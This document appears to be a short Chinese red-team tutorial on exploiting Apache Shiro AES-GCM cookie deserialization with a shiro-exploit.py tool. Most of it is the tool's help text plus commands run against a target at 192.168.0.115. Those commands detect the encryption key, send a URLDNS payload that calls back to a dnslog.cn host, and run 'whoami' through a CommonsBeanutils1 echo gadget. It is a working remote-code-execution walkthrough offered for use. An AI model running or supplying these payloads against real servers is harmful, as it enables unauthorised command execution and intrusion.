红队攻击第1篇 shiro AES_GCM 反序列化利用

pip3 install pycryptodome

python shiro-exploit.py -husage: shiro-exploit.py [-h] [--version VERSION] [--key KEY] [--url URL] [--gadget GADGET] [--command COMMAND]                        [--ser SER]                        mode
Shiro-Exploit : Use python3 shiro-exploit.py usage for More Help Infomation
positional arguments:  mode                  check/yso/echo/encdoe
optional arguments:  -h, --help            show this help message and exit  --version VERSION, -v VERSION                        Choice Shiro Encrypt Version,1 For AES-CBC 2 For AES-GCM  --key KEY, -k KEY     Specific shiro key or user default  --url URL, -u URL     Specific URL Address  --gadget GADGET, -g GADGET                        Specific Gadget [CommonsCollectionsK1/CommonsCollectionsK2/CommonsBeanutils1/CommonsBeanutils2                        /Jdk7u21/Jdk8u20]  --command COMMAND, -c COMMAND                        Specific Execute Command  --ser SER, -s SER     Specific serialize File Path

Usage:    python3 shiro-exploit.py mode arguments    You Can Change Default Key and Ysoserial Path at The Top of File    For Most Usage: [-u url]    Will Send Payload To Target URL                                Left it Empty to Genereate Payload and Exploit Manual                    [-k key]    Will Encrypt Payload With Specific Key                                Left it Empty to Use Shiro Default Key kPH+bIxk5D2deZiIxcaaaA==                    [-v version]Will Encrypt Payload to Specific Shiro Encrypt Version                                if Shiro Version Used AES-CBC Set -v to 1 , if Shiro Used AES-GCM Set -v to 2 , or Left it Empty to Use Default 1                    Those arguments is Not Necessary , Change it If You Need    Sample:    python3 shiro-exploit.py check -u http://127.0.0.1  Auto Detect Shiro Key For Version 1 And Version 2    python3 shiro-exploit.py check -u http://127.0.0.1 -v 1 Auto Detect Shiro Key For Version 1    python3 shiro-exploit.py check -k zSyK5Kp6PZAAjlT+eeNMlg== Genereate Check Specific Key Payload For Version 1 and 2    python3 shiro-exploit.py check -k zSyK5Kp6PZAAjlT+eeNMlg== -v 2 Genereate Check Specific Key Payload For Version 2    python3 shiro-exploit.py yso -g URLDNS -c "http://xxx.dnslog.pro" -u http://127.0.0.1 -k zSyK5Kp6PZAAjlT+eeNMlg== -v 1 Send Ysoserial Payload to Target URL    python3 shiro-exploit.py yso -g URLDNS -c "http://xxx.dnslog.pro" -k zSyK5Kp6PZAAjlT+eeNMlg== -v 1 Genereate Ysoserial Payload    python3 shiro-exploit.py echo -g CommonsCollectionsK1 -c "ifconfig" -u http://127.0.0.1 Send Tomcat Echo Payload To Target URL    python3 shiro-exploit.py echo -g CommonsCollectionsK1 -c "ifconfig" -k zSyK5Kp6PZAAjlT+eeNMlg== Genereate Tomcat Echo Payload    python3 shiro-exploit.py encode -s ./cookie.ser -u http://127.0.0.1 Encode Serialize File And Send to Target URL    python3 shiro-exploit.py encode -s ./cookie.ser -k zSyK5Kp6PZAAjlT+eeNMlg== Encode Serialize File For Exploit Manual

python shiro-exploit.py check -u http://192.168.0.115:8080 -v 2

shiro-exploit.py yso -g URLDNS -c "http://moonsec.03d3fu.dnslog.cn" -k d3d3bWluZ3NvZnRuZXRtcw== -u http://192.168.0.115:8080/xxx/ms/login.do -v 2Gadget: URLDNS Command: http://moonsec.03d3fu.dnslog.cnSend Over:200

shiro-exploit.py echo -g CommonsBeanutils1 -u http://192.168.0.115:8080/xxx/ms/index.do -v 2 -k d3d3bWluZ3NvZnRuZXRtcw== -c whoami